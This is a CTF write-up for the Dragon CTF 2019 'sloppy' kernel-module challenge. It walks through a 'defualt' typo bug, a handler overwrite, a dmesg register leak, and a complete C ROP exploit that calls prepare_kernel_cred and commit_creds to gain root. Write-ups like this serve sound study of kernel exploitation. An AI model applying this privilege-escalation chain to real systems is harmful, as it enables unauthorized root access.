• Event: Dragon CTF 2019
  • Category: pwn
  • Solves: 6
  • Points: 300

Overview

$ ./run.sh
PWN PWN PWN
/ $ 

The challenge files consist of:

  • vmlinuz-5.3.0-19-generic - linux kernel
  • initramfs.cpio.gz - a filesystem packed into archive.
  • pow.py and hashcash.py
  • run.sh - qemu command to run the machine.
  • sloppy.c - source code of the module.

/init in the filesystem is a file which will run as the first process before giving us access to the console:

#!/bin/sh

stty raw -echo

mount -t devtmpfs devtmpfs /dev
mount -t tmpfs tmpfs /tmp

insmod /sloppy.ko

echo "PWN PWN PWN"

setsid cttyhack setuidgid 1000 sh

poweroff -d 1 -n -f

I recalled that in a different kernel module pwning challenge a file run.sh contained lines which are not here:

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict

kptr_restrict blocks printing pointers by functions from printk family. dmesg_restrict blocks access to dmesg from user without CAP_SYS_ADMIN.

I tested our machine and indeed we have an access to dmesg command. Later organizers told me that this was unintended.

When we crash a module, dmesg prints all values in registers so that we can have a leak. Also, the difference between pwning a module and usual program is that when crashing, the module will remain loaded and we are still able to call “exported” functions by the module.

Debugging Linux Kernel

I did some small changes in the archive to make debugging easier.

To modify cpio archive you need to unpack it first using following commands:

mkdir new_directory
cd new_directory
zcat /home/a/Desktop/sloppy-dev/initramfs.cpio.gz | cpio -idmv

And this command packs the archive back:

find . -print0 | cpio --null -ov --format=newc | gzip -9 > /home/a/Desktop/sloppy-dev/initramfs.cpio.gz

I modified /init file to make our user to be a root (setuidgid 1000 -> setuidgid 0) and I mounted /proc (added mount -t proc none /proc) in order to have an access to /proc/kallsyms. This file is useful in obtaining addresses of functions placed in kernel space (kernel, modules). gdb doesn’t have them unless we loaded a file with debugging symbols which we don’t have.
eg:

/ # cat /proc/kallsyms | grep sloppy_ioctl
ffffffffc003f0b0 t sloppy_ioctl	[sloppy]

This time the base address of our module is ffffffffc003f000

To attach gdb to qemu you need to modify run.sh by adding a line -s -S \. The machine won’t start until gdb will be attached - (gdb) target remote localhost:1234 in a different terminal.

Vulnerability

For understanding the source code of the module these links can help: 1, 2.
And btw. when looking at linux kernel sources or to look for some structures that are used by the module you want to use lxr which has a good code search engine. For example you can search for struct file_operations

Source code is provided so I was looking only at this file without loading a module to IDA. This wasn’t a good idea because from the source code it was very hard to spot the vulnerability.

In this module we have 1 ioctl function: static long sloppy_ioctl (struct file * file, unsigned int cmd, unsigned long arg). We can call this function by writing a program with the following code:

int fd = open("/dev/sloppy", 0, 0);
ioctl(fd, cmd, arg);

struct file * file argument is not relevant for us.

Depending on what number cmd is we can do 3 operations:

  • sloppy_insert - insert a new (key, value) pair into to the sorted list.
  • sloppy_get_first - get the first element from this list.
  • sloppy_delete - delete the element with the provided key.

But the vulnerability is here:

switch (cmd)
{
	case SLOPPY_IOCTL_INSERT:
		handler = sloppy_insert;
		break;
	case SLOPPY_IOCTL_GET_FIRST:
		handler = sloppy_get_first;
		break;
	case SLOPPY_IOCTL_DELETE:
		handler = sloppy_delete;
		break;
	defualt:
		return -ENOTTY;
}

You see the typo?
It’s defualt instead of default and the code still compiles because defualt is a label. We can make a handler to be NULL by proving cmd which is not equal to any of these values.

Further code after switch statement is:

if((cmd & IOC_OUT) && copy_from_user(data, (void __user * )arg, _IOC_SIZE(cmd)))
	return -EFAULT;

res = handler(file, (void * )data);

if(!res && (cmd & IOC_IN))
{
	if(copy_to_user((void __user * )arg, data, _IOC_SIZE(cmd)))
		return -EFAULT;
}

copy_from_user and copy_to_user are functions to copy data between user and kernel space.

IOC_OUT and IOC_IN are just constants:

#define IOC_IN  0x40000000
#define IOC_OUT 0x80000000

_IOS_SIZE(cmd) means ((unsigned int)cmd >> 16) & 0x3FFF

So we can choose between in and out operations and we can specify the size how much data to copy.

With operation IOC_OUT and SIZE = 0x110 the handler is overwritten by last 8 bytes.

So to overwrite the handler we need to provide following cmd:

#define SIZE 0x110
#define OVERWRITE (IOC_OUT+(SIZE<<16))

Exploitation

Ok. Let’s crash the module first. I used cmd=0xbfff0000 I don’t remember now why.

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define CRASH 0xbfff0000

int main(){	
	int fd = open("/dev/sloppy", 0, 0);
	if (fd<=0)
	{
		puts("error in opening file\n");
		_exit(1);
	}
	
	ioctl(fd, CRASH);
}

I compiled this file and put in initramfs.

Then:

/ # /leak
[   22.077088] usercopy: Kernel memory overwrite attempt detected to process stack (offset 0, size 16383)!
[   22.080492] kernel BUG at mm/usercopy.c:98!
[   22.080994] invalid opcode: 0000 [#1] SMP PTI
[   22.081672] CPU: 0 PID: 175 Comm: leak Tainted: P           OE     5.3.0-19-generic #20-Ubuntu
[   22.082819] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[   22.083724] RIP: 0010:usercopy_abort+0x7b/0x7d
[   22.084289] Code: 4c 0f 45 de 51 4c 89 d1 48 c7 c2 55 dc f5 b0 57 48 c7 c6 05 ae f4 b0 48 c7 c7 20 dd f5 b0 48 0f 45 f2 4c 89 da e8 28 6b e4 ff <0f> 0b 4c5
[   22.086449] RSP: 0018:ffffb42d801afcc0 EFLAGS: 00010246
[   22.087069] RAX: 000000000000005b RBX: 0000000000003fff RCX: 00000000000001b2
[   22.087852] RDX: 0000000000000000 RSI: 0000000000000086 RDI: 0000000000000246
[   22.088620] RBP: ffffb42d801afcd8 R08: 00000000000001b2 R09: ffffffffb1789c24
[   22.089385] R10: ffffffffb1781b88 R11: ffffb42d801afb40 R12: ffffb42d801afd18
[   22.090159] R13: 0000000000000000 R14: ffffb42d801b3d17 R15: ffff995143586000
[   22.090925] FS:  00007f781a4e0500(0000) GS:ffff995147400000(0000) knlGS:0000000000000000
[   22.091802] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   22.092433] CR2: 00007f781a405670 CR3: 00000000035aa000 CR4: 00000000000006f0
[   22.093263] Call Trace:
[   22.093559]  __check_object_size.cold+0x30/0x83
[   22.094107]  sloppy_ioctl+0x132/0x160 [sloppy]
[   22.094644]  ? do_fault+0x1bf/0x640
[   22.095069]  ? __handle_mm_fault+0x4c5/0x7a0
[   22.095578]  do_vfs_ioctl+0x407/0x670
[   22.095986]  ? do_user_addr_fault+0x216/0x450
[   22.096489]  ksys_ioctl+0x67/0x90
[   22.096896]  __x64_sys_ioctl+0x1a/0x20
[   22.097360]  do_syscall_64+0x5a/0x130
[   22.097781]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[   22.098420] RIP: 0033:0x7f781a40567b
[   22.098841] Code: 0f 1e fa 48 8b 05 15 28 0d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa b8 10 00 00 00 0f 05 <48> 3d 018
[   22.100845] RSP: 002b:00007ffd403cf858 EFLAGS: 00000202 ORIG_RAX: 0000000000000010
[   22.101680] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f781a40567b
[   22.102503] RDX: 0000000000000000 RSI: 00000000bfff0000 RDI: 0000000000000003
[   22.103291] RBP: 00007ffd403cf870 R08: 0000000000000000 R09: 00007f781a4f21f0
[   22.104075] R10: fffffffffffff44a R11: 0000000000000202 R12: 000055d62e278080
[   22.104845] R13: 00007ffd403cf950 R14: 0000000000000000 R15: 0000000000000000
[   22.105617] Modules linked in: sloppy(POE)
[   22.106158] ---[ end trace 762e31560de69a46 ]---
[   22.106725] RIP: 0010:usercopy_abort+0x7b/0x7d
[   22.107227] Code: 4c 0f 45 de 51 4c 89 d1 48 c7 c2 55 dc f5 b0 57 48 c7 c6 05 ae f4 b0 48 c7 c7 20 dd f5 b0 48 0f 45 f2 4c 89 da e8 28 6b e4 ff <0f> 0b 4c5
[   22.109358] RSP: 0018:ffffb42d801afcc0 EFLAGS: 00010246
[   22.109981] RAX: 000000000000005b RBX: 0000000000003fff RCX: 00000000000001b2
[   22.110836] RDX: 0000000000000000 RSI: 0000000000000086 RDI: 0000000000000246
[   22.111673] RBP: ffffb42d801afcd8 R08: 00000000000001b2 R09: ffffffffb1789c24
[   22.112492] R10: ffffffffb1781b88 R11: ffffb42d801afb40 R12: ffffb42d801afd18
[   22.113361] R13: 0000000000000000 R14: ffffb42d801b3d17 R15: ffff995143586000
[   22.114160] FS:  00007f781a4e0500(0000) GS:ffff995147400000(0000) knlGS:0000000000000000
[   22.115007] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[   22.115610] CR2: 00007f781a405670 CR3: 00000000035aa000 CR4: 00000000000006f0
Segmentation fault

Topmost or most down registers are currect registers when module code crashed:

  • R10 contains address of code of linux kernel. I discovered it by reading /proc/kallsyms - there were functions with addresses very close to this one.
  • RSP The good thing is that during every ioctl call the stack will have the same address. So we can use it for next ioctl call.
  • R09 We will need this value later. It can be a heap, but not necessarily.

Btw. KASLR, SMEP and SMAP are enabled.

The strange thing is that CR4 shows that SMEP and SMAP are disabled but I couldn’t jump into executable code in user space. I don’t know why, this is strange, maybe it’s some qemu internal thing? If you know why I would be gratefull to know.

When calling overwritten handler RSP points to the beginning of data buffer. First 8 bytes are destroyed though because of the previous call but this is not very relevant.

extract-vmlinux didn’t work but I found manually 2 very simple gadgets in gdb:

pop_registers:
   pop    %r11
   pop    %r10
   pop    %r9
   pop    %r8
   pop    %rdi
   pop    %rsi
   pop    %rdx
   pop    %rcx
   pop    %rbp
   retq
set_rsp:
   lea    -0x28(%rbp),%rsp
   pop    %rbx
   pop    %r12
   pop    %r13
   pop    %r14
   pop    %r15
   pop    %rbp
   retq

The other way would be to dump a memory via qemu and look for gadgets normally with ropper there.

The standard way of exploting linux kernel is to execute commit_creds(prepare_kernel_cred(0));. If this code is executed in kernel space, a current process gets root privileges. Since my gadgets are very simple my exploit does prepare_kernel_cred in the first ioctl call and commit_creds in the second one (I don’t have mov rdi, rax gadget). I took the addresses of both functions from /proc/kallsyms.

In first ioctl I jumped to pop_registers, set RDI to 0 and set RBP to value that goes to RSP later. Then I jumped to prepare_kernel_cred. Later I used set_rsp to set RSP during last ret to the same value when function sloppy_ioctl returns normally. This makes us returning correctly to the user mode.

It’s

char buf[SIZE];
memset(buf,0,SIZE);
*((long*)&buf[0x38]) = new_rsp;       //RSP
*((long*)&buf[0x40]) = prepare_kernel_cred; //2'nd gadget
*((long*)&buf[0x48]) = set_rsp;       //3'rd gadget
*((long*)&buf[SIZE-8])=pop_registers; //1'st gadget
uint64_t res = ioctl(fd, OVERWRITE, buf) & 0xffffffff;

If you want to track ROP chain just put a breakpoint at 000000000000013D: call __x86_indirect_thunk_rcx.

res contains an address of the structure returned by prepare_kernel_cred but… it’s only 4 bytes. It’s not full 8B address. I discovered that the full address can be constructed by using 4 bytes from leaked R09.

The second gadget chain is very similiar to the first one. It is the same but sets RDI to res and commit_creds is called instead of prepare_kernel_cred.

Here is the full source code of the exploit:

#define _GNU_SOURCE

#include <stdlib.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
#include <inttypes.h>

#define SIZE 0x110
#define OVERWRITE (IOC_OUT+(SIZE<<16))

int main(int argc, char **argv){	
	if(argc<4){
		printf("usage: ./exploit r10 rsp r15\n");
		return 0x3;
	}
		
	uint64_t leak_code = (uint64_t)strtoull(argv[1], NULL, 16); //r10
	uint64_t leak_stack = (uint64_t)strtoull(argv[2], NULL, 16); //rsp
	uint64_t leak_r15 = (uint64_t)strtoull(argv[3], NULL, 16); //r15
	
	unsigned long long new_rsp = leak_stack+0x198;
	
	unsigned long pop_registers = leak_code - 0x1a88f93;
		   /*
		   pop    %r11
		   pop    %r10
		   pop    %r9
		   pop    %r8
		   pop    %rdi
		   pop    %rsi
		   pop    %rdx
		   pop    %rcx
		   pop    %rbp
		   retq
		   */
	unsigned long prepare_kernel_cred = leak_code-0x1abcee8;
	unsigned long set_rsp = leak_code-0x1a8977f;
		   /*
		   lea    -0x28(%rbp),%rsp
		   pop    %rbx
		   pop    %r12
		   pop    %r13
		   pop    %r14
		   pop    %r15
		   pop    %rbp
		   retq
		   */
	unsigned long commit_creds = leak_code-0x1abd268;
	
	int fd = open("/dev/sloppy", 0, 0);
	if (fd<=0)
	{
		puts("error in opening file\n");
		_exit(1);
	}
	
	char buf[SIZE];
	
	//creds=prepare_kernel_cred(0)
	memset(buf,0,SIZE);
	*((long*)&buf[0x38]) = new_rsp;       //RSP
	*((long*)&buf[0x40]) = prepare_kernel_cred; //2'nd gadget
	*((long*)&buf[0x48]) = set_rsp;       //3'rd gadget
	*((long*)&buf[SIZE-8])=pop_registers; //1'st gadget
	
	//result of prepare_kernel_cred(0) but only 4B
	uint64_t res = ioctl(fd, OVERWRITE, buf) & 0xffffffff;

	uint64_t creds = (leak_r15&0xffffffff00000000)+res;
	printf("creds: %p\n",creds);
	
	//commit_creds(creds)
	memset(buf,0,SIZE);
	*((long*)&buf[0x18]) = creds;         //RDI
	*((long*)&buf[0x38]) = new_rsp;       //RSP
	*((long*)&buf[0x40]) = commit_creds;  //2'nd gadget
	*((long*)&buf[0x48]) = set_rsp;       //3'rd gadget
	*((long*)&buf[SIZE-8])=pop_registers; //1'st gadget
	
	res = ioctl(fd, OVERWRITE, buf);
	
	system("id");
	system("cat /flag.txt");
}

Let’s run our exploit.
The command line is: ./exploit R10, R15, R09.

/ # /exploit ffffffffb1781b88 ffffb42d801afcc0 ffff995143586000
creds: 0xffff99514730f0c0
uid=0 gid=0
THE_FLAG_WILL_BE_HERE

Btw. Previously I tried the same ROP chains but prepare_kernel_cred and commit_creds were called by 2 different processes, but no, it didn’t work.

The last part

When testing locally I was putting files leak and exploit to initramfs but on remote machine we needed to upload them to the server somehow. I just encoded both files in base64 and split them into 500-byte parts and did r.sendline("echo -n "+d+" >> "+name) for each part. Full exploit that connects to the server is here. I didn’t spend any time to make this code to look better but this part of the challenge is not very interesting and I hope that nobody will be taking a look at this file.

Intended solution

As I said previously, a leak via dmesg was unintended. The another vulnerability was here: memset(arg, 0, sizeof sloppy_get_first);

We have 2 sloppy_get_first:

  • a function long sloppy_get_first (struct file * file, void * arg_)
  • a struct sloppy_get_first

Inside sizeof there is no struct keyword so it takes size from a function and the result is 1 LOL. With this vulnerability it was possible to leak some pointers because the data was not fully zeroed.